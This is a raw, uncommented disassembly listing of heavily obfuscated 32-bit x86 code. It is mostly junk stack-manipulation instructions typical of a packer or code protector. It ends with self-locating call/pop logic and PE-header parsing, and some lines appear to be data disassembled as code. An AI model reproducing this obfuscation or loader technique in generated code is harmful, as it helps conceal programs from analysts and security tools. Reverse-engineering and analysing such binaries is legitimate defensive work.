mov word [esp + 5], sp
push dword [esp + 7]
lea esp, [esp + 0x1a]
mov dword [esp + 0xa], ebp
mov dword [esp + 8], esi
pop word [esp + 4]
pop dword [esp + 1]
mov byte [esp + 4], bh
lea esp, [esp + 0xc]
mov word [esp], cx
push word [esp + 1]
push word [esp + 3]
mov dword [esp], ecx
push dword [esp + 5]
mov byte [esp + 6], bl
mov byte [esp + 3], bh
push word [esp + 6]
pop dword [esp + 2]
lea esp, [esp + 3]
push dword [esp + 1]
mov word [esp], bx
mov dword [esp + 2], ebp
pop dword [esp]
mov dword [esp], eax
pop word [esp]
push word [esp + 2]
mov dword [esp], ecx
push dword [esp]
lea esp, [esp + 2]
mov word [esp + 2], dx
pop word [esp + 2]
mov byte [esp], bl
mov byte [esp + 3], cl
push word [esp + 1]
mov dword [esp], ebx
mov dword [esp], edi
lea esp, [esp + 6]
lea esp, [esp]
lea esp, [esp]
lea esp, [esp]
lea esp, [esp]
pushfd
push dword [esp]
mov byte [esp + 3], ch
lea esp, [esp + 5]
mov byte [esp + 2], bh
mov dword [esp], esi
push dword [esp + 1]
push word [esp + 6]
push dword [esp + 7]
pop word [esp + 4]
push ecx
push eax
lea esp, [esp + 8]
pushfd
pushfd
pop dword [esp + 3]
lea esp, [esp + 0xc]
push dword [esp]
mov dword [esp + 2], ecx
push word [esp + 6]
pop word [esp + 4]
pushal
mov word [esp + 1], di
pushal
push bx
push word [esp + 0x2e]
lea esp, [esp + 0xe]
mov byte [esp + 0x2a], al
mov byte [esp + 0xa], cl
mov byte [esp + 0x39], cl
pop dword [esp + 0x22]
mov dword [esp + 0xc], ebx
mov byte [esp + 0x33], cl
pushfd
push word [esp + 0x36]
lea esp, [esp + 0x2d]
pop word [esp + 0xb]
lea esp, [esp + 1]
lea esp, [esp + 0x10]
push 0
push edx
lea esp, [esp + 2]
mov word [esp], bp
mov word [esp], di
push bx
push word [esp + 2]
push word [esp + 5]
pushfd
push word [esp + 6]
pop word [esp]
mov word [esp + 9], dx
lea esp, [esp]
mov word [esp + 1], bp
pushal
pop dword [esp + 7]
push edi
lea esp, [esp + 0x1d]
mov dword [esp], esi
push dword [esp + 0xb]
mov dword [esp + 7], ebx
pop word [esp + 0xa]
mov byte [esp + 2], cl
push dword [esp + 7]
pop word [esp]
lea esp, [esp + 5]
pushal
pushfd
push word [esp + 0x16]
push word [esp + 9]
mov word [esp + 0xd], bp
mov byte [esp + 5], cl
pop word [esp + 0x22]
pop dword [esp + 0x15]
push dword [esp + 0x26]
push word [esp + 0x19]
push dword [esp + 0x12]
lea esp, [esp + 0x37]
lea esp, [esp]
mov byte [esp + 1], ch
push word [esp]
mov word [esp + 2], si
push word [esp + 2]
pop word [esp + 1]
mov byte [esp + 1], al
push dword [esp + 1]
mov word [esp + 6], bx
mov byte [esp + 2], al
mov dword [esp], ebx
mov word [esp + 6], bp
pop dword [esp]
push word [esp + 2]
mov byte [esp + 4], al
mov dword [esp], eax
push ebx
pushfd
mov word [esp + 9], di
pop dword [esp + 3]
pop word [esp + 5]
mov byte [esp + 3], dl
push word [esp + 1]
pop word [esp + 1]
pop word [esp + 4]
lea esp, [esp + 2]
push word [esp + 3]
mov byte [esp + 3], bh
lea esp, [esp]
lea esp, [esp + 2]
push dword [esp + 1]
push dword [esp + 8]
lea esp, [esp + 9]
mov byte [esp], cl
push sp
mov byte [esp], al
push word [esp + 2]
push dword [esp + 4]
pushfd
mov byte [esp + 9], ch
mov word [esp + 0xb], cx
lea esp, [esp + 4]
pop word [esp + 7]
push word [esp + 4]
push cx
push ax
mov byte [esp + 0xa], dl
lea esp, [esp + 0xc]
mov byte [esp], dh
push word [esp + 2]
lea esp, [esp + 1]
mov word [esp], dx
push dword [esp]
pop word [esp]
mov byte [esp + 5], bl
mov word [esp + 3], si
mov word [esp + 2], sp
mov dword [esp], edi
push word [esp + 2]
push word [esp + 6]
pop dword [esp]
push word [esp + 6]
pop dword [esp]
lea esp, [esp + 1]
lea esp, [esp + 4]
push 0
pushal
mov byte [esp + 3], ah
lea esp, [esp + 4]
mov word [esp + 0x15], di
mov word [esp + 0x10], si
push dword [esp + 0xd]
pop word [esp + 0xe]
push bx
pushfd
push eax
lea esp, [esp + 0x1c]
mov byte [esp], bl
mov word [esp + 6], ax
push dword [esp + 0xb]
push word [esp + 5]
mov byte [esp + 0xa], dl
pop dword [esp + 2]
mov word [esp + 6], dx
pushal
push dword [esp + 8]
push word [esp + 6]
push word [esp + 0x10]
mov byte [esp + 0x2c], bh
pop dword [esp + 0xe]
push dword [esp + 7]
lea esp, [esp + 0x1c]
lea esp, [esp]
push sp
pushal
lea esp, [esp + 7]
pop word [esp + 0x10]
lea esp, [esp + 0x13]
lea esp, [esp + 0xb]
push word [esp + 0xa]
push word [esp + 0x12]
mov byte [esp + 0x11], dl
push dword [esp + 9]
pop dword [esp + 0x13]
mov byte [esp + 5], bl
pop dword [esp + 0xe]
pop word [esp]
pushfd
push dword [esp + 0x14]
pushfd
mov dword [esp + 0x16], esp
lea esp, [esp + 0x17]
push word [esp + 5]
pop word [esp + 2]
mov word [esp + 4], di
pop word [esp + 1]
pop word [esp + 1]
push word [esp]
mov byte [esp + 2], dl
mov byte [esp], ch
lea esp, [esp + 1]
mov byte [esp + 1], cl
pop word [esp]
pushfd
mov dword [esp], ebp
pop word [esp + 2]
push esi
pop dword [esp]
pop word [esp]
mov byte [esp], dl
lea esp, [esp]
push word [esp + 2]
pushal
mov byte [esp + 0xb], bl
push dword [esp + 0xe]
mov word [esp + 5], dx
lea esp, [esp + 1]
pop word [esp + 0xe]
pop dword [esp + 1]
pop word [esp + 0x11]
push dword [esp + 6]
mov word [esp + 0x15], di
push dword [esp + 0x14]
pop dword [esp + 1]
push word [esp + 0xe]
pop word [esp + 0xb]
pop dword [esp + 9]
lea esp, [esp + 0x16]
pop word [esp + 3]
pushfd
pop dword [esp + 2]
mov byte [esp + 2], ch
pop dword [esp]
mov byte [esp + 2], bh
mov byte [esp], al
push word [esp + 3]
push bx
push dword [esp + 7]
push word [esp + 2]
mov dword [esp + 5], ebp
pop dword [esp + 5]
lea esp, [esp + 1]
mov dword [esp + 3], edx
pop word [esp]
pushfd
pop word [esp + 4]
lea esp, [esp + 1]
lea esp, [esp + 8]
call fcn.0075dd7d
jmp 0x7ad6f0
pop dword [esp + 6]
sub esp, 0x14
sub esp, 8
mov byte [esp + 0x25], bh
stc
push dword [esp + 0x2c]
push cx
cld
push esp
pushal
lea esp, [esp + 0x57]
sub esp, 0xa
lea esp, [esp + 2]
lea esp, [esp + 8]
popfd
jb 0x7a9889
push 0xde14fbed
jmp 0x7a988e
lea esp, [esp + 1]
sub esp, 0xf
sub esp, 0x19
push dword [esp + 0x21]
sub esp, 0x15
mov word [esp + 0x24], bp
lea esp, [esp + 0x3a]
mov word [esp + 4], cx
push dword [esp + 3]
pop dword [esp + 3]
pop word [esp + 2]
push dword [esp + 6]
push dword [esp + 0xa]
cld
mov byte [esp + 6], cl
lea esp, [esp]
sub esp, 0x1b
pop dword [esp + 0x14]
lea esp, [esp + 0xa]
mov word [esp + 9], dx
pop word [esp]
cmc
mov byte [esp + 0xe], dh
lea esp, [esp + 0xd]
mov word [esp + 7], si
mov dword [esp + 6], esp
clc
push dword [esp + 6]
mov byte [esp + 0xc], bh
push word [esp + 1]
add esp, 8
push word [esp + 2]
pushfd
pop word [esp + 8]
pop dword [esp + 3]
pop dword [esp]
pushfd
add esp, 0xa
add esp, 0
mov byte [esp], al
push ebx
mov word [esp + 1], dx
lea esp, [esp + 3]
push word [esp + 1]
clc
pushal
push dword [esp + 0xd]
mov word [esp + 0x24], bx
mov byte [esp + 0x15], bh
pop word [esp + 1]
mov word [esp + 0x15], bx
push dword [esp + 0x12]
push dword [esp + 9]
pop word [esp]
cld
mov dword [esp + 0x23], edi
pop word [esp + 0xf]
lea esp, [esp + 0x12]
add esp, 0
sub esp, 0x1d
pop dword [esp + 0x2a]
push word [esp + 0x25]
push bp
pop dword [esp + 0x21]
mov byte [esp + 0x2b], cl
push word [esp + 0x25]
push dword [esp + 0x29]
mov byte [esp], cl
push dword [esp + 5]
mov byte [esp + 0x1d], al
lea esp, [esp + 0x11]
cmc
pop word [esp + 0x23]
mov dword [esp + 0xb], ebx
push dword [esp + 0xc]
mov word [esp + 0x24], cx
mov word [esp], di
push dword [esp + 0x27]
mov dword [esp + 0x20], ebx
pop word [esp + 0x17]
sub esp, 0x10
cmc
mov dword [esp + 0x27], ebx
push dword [esp + 0x30]
stc
pop word [esp + 1]
mov word [esp + 0x2f], di
add esp, 0x3e
mov word [esp], bp
pushfd
push word [esp + 2]
push word [esp + 4]
push dword [esp + 8]
add esp, 5
mov word [esp], si
pop dword [esp]
stc
push word [esp + 2]
mov byte [esp + 1], al
add esp, 3
pop word [esp]
mov word [esp], si
cmc
sub esp, 0x15
push ebp
push dword [esp + 0x14]
push word [esp + 0x13]
mov word [esp + 0x1e], bx
pop dword [esp + 5]
sub esp, 0x1f
mov word [esp + 0xf], bx
mov word [esp + 0xd], sp
push word [esp + 0x32]
pop word [esp]
pop word [esp + 0xc]
pop dword [esp + 0x29]
add esp, 0x19
push word [esp + 0x14]
push word [esp]
pop dword [esp + 1]
mov dword [esp + 3], edx
lea esp, [esp + 0x18]
cld
pop word [esp]
lea esp, [esp + 2]
pushfd
add esp, 2
mov byte [esp], al
sub esp, 0x1e
push dword [esp + 0xe]
mov byte [esp + 0x14], dl
push dword [esp + 1]
sub esp, 0x11
push dword [esp + 0x14]
pop word [esp + 0x15]
mov dword [esp + 4], edx
push dword [esp + 0x32]
mov word [esp + 0xf], si
lea esp, [esp + 0x2a]
sub esp, 0x18
mov dword [esp + 0x13], edx
mov dword [esp + 8], esi
add esp, 0x12
push word [esp + 2]
mov byte [esp + 5], cl
push dword [esp + 0x12]
lea esp, [esp]
add esp, 0x18
pushal
sub esp, 0x18
clc
push word [esp + 5]
mov dword [esp + 0x38], ebp
mov byte [esp + 0x21], dh
pop dword [esp + 0x1e]
pop dword [esp + 0x2d]
lea esp, [esp + 0x37]
push word [esp]
push dword [esp + 4]
pop dword [esp]
mov dword [esp], eax
sub esp, 0x1e
lea esp, [esp + 3]
pop word [esp + 0x1a]
pop word [esp + 0x12]
add esp, 0
add esp, 0x13
push dword [esp + 6]
mov byte [esp + 4], ah
pop dword [esp + 6]
push word [esp + 0xa]
lea esp, [esp + 0xa]
pushal
push si
clc
mov byte [esp], dl
push dword [esp + 0x17]
pop dword [esp + 0x1c]
mov dword [esp + 2], eax
push dword [esp + 7]
mov byte [esp + 0x1f], bl
pop dword [esp + 0xc]
mov word [esp + 0x15], dx
mov word [esp + 0x13], sp
mov dword [esp + 7], edx
sub esp, 0xa
push word [esp + 0x1a]
mov byte [esp + 0x19], bl
push dword [esp + 0x1f]
mov word [esp + 0x2b], bp
pop word [esp + 0xe]
pop word [esp]
push word [esp + 0x2b]
add esp, 0x1f
pop dword [esp + 1]
add esp, 0xd
lea esp, [esp]
pushfd
add esp, 6
mov byte [esp], dh
push edi
push dword [esp + 2]
pop word [esp]
mov word [esp], sp
mov word [esp + 2], bx
add esp, 3
add esp, 1
clc
mov word [esp], bx
push edx
lea esp, [esp + 1]
pop word [esp + 1]
push dword [esp + 2]
mov dword [esp + 1], edi
mov dword [esp + 2], ebp
push word [esp + 2]
push dword [esp + 8]
sub esp, 0x14
lea esp, [esp + 0x1a]
mov byte [esp], dl
push word [esp + 5]
sub esp, 0x19
pop dword [esp + 0x12]
sub esp, 0x14
pushfd
mov word [esp + 0x28], bp
clc
pop word [esp + 2]
mov dword [esp + 8], esi
pop word [esp + 0x11]
lea esp, [esp + 0x18]
pop word [esp + 0xf]
add esp, 0x15
push dword [esp + 1]
sub esp, 0x10
sub esp, 2
pop dword [esp + 0xe]
cld
mov byte [esp + 8], dl
pushal
mov byte [esp + 0x24], dh
cmc
sub esp, 0x14
mov dword [esp + 0x22], ebx
clc
add esp, 0x43
push dword [esp + 2]
lea esp, [esp + 5]
pop word [esp + 1]
lea esp, [esp + 2]
add esp, 1
mov byte [esp], ah
push ebx
lea esp, [esp]
sub esp, 0x1a
clc
lea esp, [esp + 0x1c]
pushal
sub esp, 1
stc
push dword [esp + 0xd]
pop word [esp + 0xe]
add esp, 0x12
push word [esp + 4]
mov word [esp + 0xd], bp
pop dword [esp + 0xc]
pop dword [esp]
pop dword [esp + 1]
mov byte [esp + 2], bl
clc
mov dword [esp + 5], eax
pop dword [esp]
cmc
mov word [esp + 1], dx
mov dword [esp], esi
mov byte [esp + 1], al
sub esp, 5
pushal
pop word [esp + 0xc]
push dword [esp + 9]
mov byte [esp + 1], ah
mov dword [esp + 0x1a], edx
lea esp, [esp + 0xf]
mov dword [esp + 0x11], ecx
stc
mov dword [esp + 0xd], ebp
pop word [esp + 0x16]
add esp, 0x14
pop dword [esp]
mov word [esp + 1], cx
mov dword [esp], edx
mov word [esp], sp
mov dword [esp], ebp
lea esp, [esp]
mov dword [esp], edx
push ebx
pop dword [esp]
mov dword [esp], esp
mov byte [esp + 1], bl
push word [esp + 1]
mov byte [esp], dl
mov byte [esp + 4], al
sub esp, 0x13
mov word [esp + 0xb], bp
mov dword [esp], edi
push edx
pop dword [esp + 0x12]
pop dword [esp + 9]
pop word [esp + 3]
mov byte [esp + 0xb], al
add esp, 0xe
mov word [esp + 2], bx
mov byte [esp], ch
add esp, 0
add esp, 0
sub esp, 0x15
cld
add esp, 5
mov dword [esp + 3], eax
pop dword [esp + 4]
add esp, 1
pop word [esp + 5]
push word [esp + 0xb]
stc
mov word [esp + 3], bx
sub esp, 0x14
stc
add esp, 8
sub esp, 0x1d
pushfd
stc
pushal
lea esp, [esp + 0x5d]
sub esp, 9
lea esp, [esp + 7]
mov word [esp], sp
stc
stc
mov byte [esp], ah
mov byte [esp], ch
lea esp, [esp + 1]
lea esp, [esp]
lea esp, [esp]
push eax
sub esp, 0xc
cmc
push ebp
stc
mov dword [esp + 2], edx
push edx
pop word [esp + 0xb]
mov word [esp + 0xf], dx
add esp, 7
push dword [esp + 8]
mov word [esp + 4], cx
mov dword [esp + 0xe], ebx
add esp, 0x11
add esp, 2
pushfd
push dword [esp + 2]
add esp, 7
add esp, 1
push dx
mov byte [esp], bl
add esp, 1
sub esp, 0x11
push word [esp + 0xe]
mov dword [esp + 0xa], eax
mov dword [esp + 0xb], esp
push word [esp + 7]
push word [esp + 0xa]
pop dword [esp + 8]
lea esp, [esp + 6]
push word [esp + 0xe]
mov dword [esp + 3], ebx
push esp
cmc
mov word [esp + 4], dx
mov byte [esp + 0xc], ah
mov byte [esp + 5], al
mov byte [esp], ah
stc
sub esp, 0x1b
lea esp, [esp + 2]
pop dword [esp + 0x1f]
mov dword [esp + 0xa], edi
lea esp, [esp + 0x21]
mov word [esp + 2], sp
push word [esp + 7]
mov dword [esp], ecx
mov word [esp + 8], ax
pop dword [esp]
mov byte [esp + 3], bh
mov dword [esp], edi
cmc
sub esp, 0x18
push dword [esp + 0x1a]
lea esp, [esp + 0x13]
push word [esp + 0xa]
mov word [esp + 5], ax
push word [esp + 8]
sub esp, 0x14
mov byte [esp + 0x1e], dl
pushal
clc
cld
mov word [esp + 0x1b], bx
mov word [esp + 0x1d], dx
add esp, 0x32
cmc
lea esp, [esp + 5]
pop word [esp]
push ebp
push dword [esp + 0xd]
mov byte [esp + 0xc], cl
pop word [esp]
jmp 0x7aa9d9
sub esp, 0
pushfd
pop dword [esp + 0x16]
push word [esp + 0x20]
push sp
pop dword [esp + 0x1c]
pop dword [esp + 0x10]
pushal
pop word [esp + 0x1f]
push cx
push dword [esp + 0x39]
push word [esp + 0x19]
add esp, 0x42
mov byte [esp], dl
pushal
sub esp, 0x1c
sub esp, 0x1a
lea esp, [esp + 0x5d]
pushal
add esp, 5
pop word [esp + 1]
pop word [esp + 0x12]
cld
pop word [esp]
mov word [esp + 0x11], di
pop dword [esp + 6]
cld
add esp, 2
push word [esp + 1]
stc
mov dword [esp + 9], edi
mov byte [esp + 1], dl
pop word [esp + 0xb]
sub esp, 0x14
push word [esp + 0x20]
pop dword [esp + 0x19]
push dword [esp + 0x14]
push ax
cmc
pop word [esp + 0x1b]
lea esp, [esp + 2]
push dword [esp + 0x1b]
add esp, 0x23
mov byte [esp + 1], cl
push word [esp + 2]
add esp, 3
cmc
lea esp, [esp]
add esp, 0
mov word [esp], ax
mov byte [esp + 1], dl
add esp, 2
stc
pushal
mov word [esp + 0x12], di
push word [esp + 0x1c]
pop word [esp + 9]
push dword [esp + 5]
add esp, 0x24
mov byte [esp], bh
add esp, 0
mov byte [esp], bh
lea esp, [esp]
stc
mov byte [esp], al
sub esp, 0x1f
lea esp, [esp + 0x19]
pushal
sub esp, 0
pushal
pop dword [esp + 0x12]
cmc
pop word [esp + 0x16]
add esp, 0x33
mov word [esp + 1], bx
push word [esp + 0xc]
sub esp, 0x12
pop word [esp + 0x17]
pop dword [esp + 5]
cmc
pop word [esp + 0x14]
sub esp, 0x14
mov byte [esp + 0x1d], dh
pop dword [esp + 1]
pop word [esp + 0x21]
mov word [esp + 0x22], cx
push dword [esp + 0x20]
push word [esp + 0xc]
pop word [esp + 0x16]
mov byte [esp + 0xa], dl
pop word [esp + 0x17]
push esi
add esp, 6
mov word [esp + 0x16], di
push word [esp + 0x12]
lea esp, [esp + 0x17]
mov word [esp + 0xa], bp
mov dword [esp + 0xc], ebx
push word [esp + 0x11]
pop dword [esp + 3]
sub esp, 7
push word [esp]
add esp, 6
pushfd
mov byte [esp + 0xb], ch
push dword [esp + 2]
push word [esp + 7]
pop dword [esp + 0xc]
pushfd
mov word [esp + 0xd], di
pop word [esp + 5]
mov dword [esp + 7], esi
sub esp, 0x10
pop dword [esp + 7]
pushal
pop dword [esp + 0xd]
mov dword [esp + 0x20], ecx
lea esp, [esp + 0x3b]
push dword [esp + 3]
add esp, 0
pop word [esp + 5]
add esp, 0
mov word [esp + 5], cx
mov dword [esp + 1], ecx
mov word [esp + 2], ax
lea esp, [esp + 7]
mov word [esp + 1], cx
pop word [esp]
sub esp, 0x1c
add esp, 3
add esp, 0x1a
cld
lea esp, [esp]
sub esp, 0x16
pushal
pop dword [esp + 0x26]
push edi
push word [esp + 0x2f]
mov word [esp + 0x1e], sp
pop dword [esp + 0x28]
stc
lea esp, [esp + 0xb]
mov byte [esp + 0x24], ch
mov byte [esp + 4], dh
pop word [esp + 0xa]
mov byte [esp + 0x1d], dl
mov dword [esp + 3], ecx
pop word [esp + 0x1a]
push word [esp + 0xa]
lea esp, [esp + 0x1f]
pop word [esp + 2]
mov dword [esp], edi
push dword [esp + 2]
mov word [esp + 1], di
sub esp, 0x17
add esp, 9
lea esp, [esp + 6]
push word [esp + 0xf]
mov dword [esp], esi
mov word [esp], bp
lea esp, [esp + 9]
pushfd
stc
lea esp, [esp + 6]
pop dword [esp]
lea esp, [esp + 4]
push word [esp]
mov byte [esp], al
lea esp, [esp + 3]
add esp, 0
lea esp, [esp]
sub esp, 0x10
mov byte [esp + 0xa], ch
mov byte [esp + 5], cl
push word [esp + 0xc]
sub esp, 4
sub esp, 0x10
pop dword [esp + 0x12]
push dword [esp + 0x1e]
push word [esp + 0x1e]
lea esp, [esp + 0x21]
pop dword [esp]
pop word [esp]
sub esp, 0x1e
mov dword [esp + 0xd], esp
mov byte [esp + 0x17], cl
pop dword [esp + 1]
pop dword [esp + 0x12]
add esp, 0x13
mov byte [esp + 3], bh
add esp, 4
lea esp, [esp]
mov byte [esp], dl
add esp, 0
mov byte [esp], ch
add esp, 0
mov byte [esp], bl
cld
mov byte [esp], cl
add esp, 0
lea esp, [esp]
lea esp, [esp]
sub esp, 0x17
add esp, 0x10
push ebp
push word [esp + 9]
push sp
cld
sub esp, 0x1d
pop dword [esp + 0x1f]
mov byte [esp + 0x1f], al
mov byte [esp + 0x1c], bl
pushfd
push word [esp + 0x1c]
mov word [esp + 0x26], dx
lea esp, [esp + 8]
push dword [esp + 0x17]
add esp, 5
pop word [esp + 0x11]
mov word [esp + 0x1e], bx
add esp, 0x1b
mov byte [esp + 6], dl
push esp
stc
mov word [esp + 7], cx
push dword [esp + 7]
push edx
pop word [esp + 8]
push word [esp]
pop dword [esp + 6]
push dword [esp + 5]
push dword [esp + 5]
mov dword [esp + 1], ebp
pushal
sub esp, 4
pop dword [esp + 0x25]
push dword [esp + 0x30]
stc
push word [esp + 0x30]
push word [esp + 3]
push dword [esp + 0x24]
pushal
lea esp, [esp + 0x65]
push edx
push word [esp + 3]
push word [esp + 1]
stc
push edi
push dword [esp + 0xa]
mov word [esp + 7], ax
mov word [esp + 5], dx
pop dword [esp + 1]
add esp, 5
mov dword [esp], esp
mov word [esp + 4], ax
pushal
lea esp, [esp + 0x1f]
sub esp, 6
mov byte [esp], bl
mov dword [esp], esi
add esp, 5
sub esp, 3
lea esp, [esp + 6]
mov dword [esp], eax
mov byte [esp + 4], bl
add esp, 3
pushfd
mov word [esp + 3], di
push dword [esp + 5]
pop word [esp + 5]
sub esp, 9
push word [esp + 0xc]
mov byte [esp + 1], bl
clc
mov dword [esp + 0xf], esi
push dword [esp + 7]
mov dword [esp + 0xa], edi
sub esp, 0x1b
pop dword [esp + 0x20]
pop word [esp + 0x20]
pop dword [esp + 0xe]
push word [esp + 0xe]
pop word [esp + 7]
mov dword [esp + 0x1d], edi
push word [esp + 8]
pop word [esp + 0x11]
sub esp, 0x15
pop word [esp + 0xb]
pushfd
add esp, 0x2f
lea esp, [esp + 0xb]
mov byte [esp], al
mov word [esp + 3], bp
lea esp, [esp + 3]
mov word [esp], ax
clc
pushfd
push dword [esp + 6]
lea esp, [esp + 5]
mov byte [esp], cl
stc
pop word [esp]
mov word [esp + 1], sp
mov dword [esp], edi
mov word [esp], cx
sub esp, 1
add esp, 0
mov word [esp], si
lea esp, [esp + 3]
lea esp, [esp]
cld
push edi
push word [esp + 5]
sub esp, 7
lea esp, [esp + 0xa]
sub esp, 3
mov dword [esp + 2], edi
mov word [esp], di
add esp, 1
push dword [esp + 3]
push word [esp + 7]
push word [esp + 1]
push word [esp + 4]
push dword [esp + 0xa]
pushal
mov byte [esp + 0x15], dh
push dword [esp + 0x32]
push word [esp + 0x37]
push word [esp + 0x29]
mov dword [esp + 0x13], edi
stc
cmc
push word [esp + 0x2f]
pushfd
pushfd
cmc
pop dword [esp + 0x3e]
cmc
push dword [esp + 7]
mov word [esp + 0x39], bp
cld
push word [esp + 0xa]
pushal
lea esp, [esp + 0x69]
clc
sub esp, 1
sub esp, 0xd
cld
pop dword [esp + 2]
mov dword [esp + 2], edx
mov word [esp + 1], bx
pop word [esp + 4]
mov byte [esp + 2], cl
stc
push dword [esp + 2]
pop word [esp + 5]
pop dword [esp]
add esp, 2
cmc
mov dword [esp], edx
lea esp, [esp + 2]
add esp, 1
lea esp, [esp]
pushfd
push dword [esp + 1]
mov byte [esp + 2], dh
push dword [esp + 6]
sub esp, 0xb
pop word [esp + 0xc]
mov byte [esp + 0xb], cl
mov dword [esp + 0xd], ecx
clc
push word [esp + 0x12]
sub esp, 4
pop word [esp]
add esp, 6
push word [esp + 0xd]
stc
pop dword [esp + 0xc]
push word [esp + 1]
mov word [esp + 8], si
cld
lea esp, [esp + 0x13]
cld
cmc
lea esp, [esp]
sub esp, 0xe
mov word [esp + 0xc], bx
add esp, 4
push ecx
pushal
cmc
mov dword [esp + 0x24], eax
pushal
clc
add esp, 0x38
push word [esp + 0xe]
clc
push dword [esp + 0xe]
sub esp, 9
lea esp, [esp + 4]
cmc
mov byte [esp + 0x15], ch
push dword [esp + 0xa]
mov word [esp + 0xb], cx
mov byte [esp + 0x24], dl
stc
sub esp, 0xd
cld
pop dword [esp + 0x18]
add esp, 0x2c
pushal
lea esp, [esp + 0xd]
add esp, 6
mov dword [esp + 7], eax
add esp, 6
pop dword [esp]
lea esp, [esp + 5]
clc
clc
clc
cld
mov byte [esp], cl
push eax
mov dword [esp], ecx
clc
push dword [esp + 2]
push dword [esp + 6]
mov dword [esp + 8], edx
push dword [esp + 0xb]
pop dword [esp + 2]
mov word [esp + 6], bx
pop dword [esp + 4]
add esp, 5
stc
sub esp, 0x19
pop word [esp + 6]
mov byte [esp + 2], dh
mov byte [esp + 0x10], ch
cmc
mov byte [esp + 0x13], ch
stc
lea esp, [esp + 0x18]
mov word [esp], ax
stc
add esp, 1
mov byte [esp], dl
mov word [esp], sp
clc
push si
cld
add esp, 3
add esp, 0
clc
lea esp, [esp]
add esp, 0
cmc
add esp, 0
lea esp, [esp]
add esp, 0
cmc
push dx
mov byte [esp + 1], cl
push esi
mov byte [esp], cl
cld
stc
mov word [esp + 4], dx
push word [esp + 6]
lea esp, [esp + 5]
lea esp, [esp]
mov byte [esp + 2], dh
mov word [esp], si
mov byte [esp + 1], dl
pushfd
stc
mov byte [esp + 3], ah
push ebx
mov byte [esp + 7], bl
push word [esp]
push dword [esp + 2]
push si
pop word [esp + 0xf]
stc
push dword [esp + 0xe]
pushfd
lea esp, [esp + 0x19]
mov byte [esp], bh
lea esp, [esp]
lea esp, [esp]
clc
clc
sub esp, 0x13
mov dword [esp + 0xf], esi
mov byte [esp + 5], al
mov dword [esp + 0xb], esp
add esp, 7
pop dword [esp]
push dword [esp]
mov dword [esp + 2], eax
pop dword [esp + 2]
mov dword [esp], ebx
mov byte [esp + 7], cl
sub esp, 5
push cx
cld
lea esp, [esp + 8]
cld
pop dword [esp]
push dword [esp + 2]
push dword [esp + 3]
pushal
lea esp, [esp + 0x26]
pop word [esp]
mov byte [esp], ah
push word [esp]
mov word [esp + 2], cx
push dx
push word [esp + 1]
add esp, 0
mov dword [esp + 4], ebx
lea esp, [esp + 1]
clc
push bp
cmc
cmc
mov dword [esp + 3], ebp
add esp, 6
pop word [esp]
sub esp, 0x13
mov dword [esp + 1], edx
add esp, 0x12
lea esp, [esp + 1]
mov byte [esp], ah
cld
mov byte [esp], ch
cld
lea esp, [esp]
pushal
sub esp, 0x1c
pop word [esp + 0xe]
push dword [esp + 0x1e]
push word [esp + 0x28]
pop dword [esp + 1]
push dword [esp + 0x12]
mov dword [esp + 1], edi
add esp, 1
mov byte [esp + 3], bh
mov dword [esp + 0x2e], ebx
mov byte [esp + 2], ah
clc
lea esp, [esp + 0x1b]
mov word [esp + 0x1d], ax
push word [esp + 9]
push word [esp + 0x23]
pop dword [esp + 2]
push dword [esp + 0x10]
mov dword [esp + 0x11], esp
mov byte [esp + 0xf], cl
push word [esp + 0x17]
push dword [esp + 5]
add esp, 6
pop word [esp + 0x21]
mov word [esp + 0x1c], bx
stc
sub esp, 0x13
push dword [esp + 0x35]
mov word [esp + 0x2e], di
cmc
mov word [esp + 0x1d], dx
add esp, 0x1a
lea esp, [esp + 0x14]
mov dword [esp], edx
mov byte [esp + 0x10], bl
lea esp, [esp + 0xd]
clc
mov word [esp + 2], di
pop word [esp]
jmp 0x7ac2ce
pop dword [esp]
lea esp, [esp]
push dword [esp + 3]
lea esp, [esp + 2]
mov dword [esp + 4], eax
push ebp
push cx
jmp 0x7ad71f
call 0x7ad68c
pop eax
sub eax, 0x7ad68c
mov ebx, eax
add eax, 0x64178a
add ebx, 0x476328
mov dword [ebx], eax
popal
jmp 0x7a4da8
call 0x7ad6cb
push ebx
popal
outsb dx, byte gs:[esi]
imul ebp, dword [bp + 0x65], 0x6f725020
je 0x7ad722
arpl word [edi + ebp*2 + 0x72], si
and byte [esi + 0x32], dh
xor byte cs:[esi], ch
xor byte cs:[eax], al
lea esp, [esp + 4]
pushfd
mov byte [esp + 1], al
push word [esp]
lea esp, [esp + 4]
mov word [esp], bx
push edx
push ebx
jmp 0x7ad662
call 0x7ad6f5
add dword [esp], 0xffffd527
call fcn.00643264
jmp 0x7ad687
pop word [esp + 0xa]
push word [esp + 0xa]
pushal
jmp 0x7ad82b
lea esp, [esp + 3]
push word [esp + 1]
push dword [esp + 4]
pushal
add esp, dword [esi - 1]
je 0x7ad74b
add edi, edi
je 0x7ad74f
add al, 0x60
lea esp, [esp + 1]
mov dword [esp + 0x28], ecx
pushal
jmp 0x7ad703
insb byte es:[edi], dx
insb byte es:[edi], dx
add bh, bh
je 0x7ad777
push dword [esp + 0x20]
pushal
push word [esp + 0x37]
and byte [eax + 0x66], ah
push dword [esp + 0x37]
pushal
lea esp, [esp + 0x6e]
pushal
pop dword [esp + 0xb]
pop word [esp + 3]
jmp 0x7ad89c
ror dword [edx], 0x8d
and al, 4
lea esp, [esp + 4]
mov dword [esp], eax
mov word [esp], dx
push dword [esp + 3]
pop dword [esp]
mov dword [esp + 0x70], esp
pushfd
pop word [esp]
push ax
pop word [esp]
mov byte [esp], ah
mov word [esp], sp
mov word [esp], cx
mov byte [esp], bl
push ecx
mov word [esp + 2], bp
pop word [esp]
push word [esp + 1]
mov word [esp + 2], si
push dword [esp]
lea esp, [esp + 2]
mov dword [esp + 0x74], ebp
pushfd
push word [esp]
pushal
push word [esp + 0x20]
jmp 0x7ad750
mov dword [esp + 0x64], edx
push bx
lea esp, [esp]
mov word [esp], ax
mov byte [esp], ch
mov word [esp], cx
push word [esp + 1]
push dword [esp + 1]
pushfd
pushfd
mov dword [esp + 0x70], ebx
pushal
lea esp, [esp + 0x15]
push word [esp + 9]
lea esp, [esp + 1]
pop dword [esp]
mov dword [esp + 2], edi
pop dword [esp]
pushfd
jmp 0x7ad779
push word [esp + 0xd]
push word [esp + 0x3e]
pop dword [esp + 3]
jmp 0x7ad7df
movzx ebx, word [eax + 0x3c]
add ebx, eax
cmp word [ebx], 0x4550
je 0x7a7cd3
jne 0x7ad92d
test dword [eax + eax - 0x6820000], esi
jle 0x7ad874
imul ecx, dword [eax], 0xe8be7efb
add byte [eax], al
add byte [eax], al
call 0x7ad885
pop eax
xor ax, ax
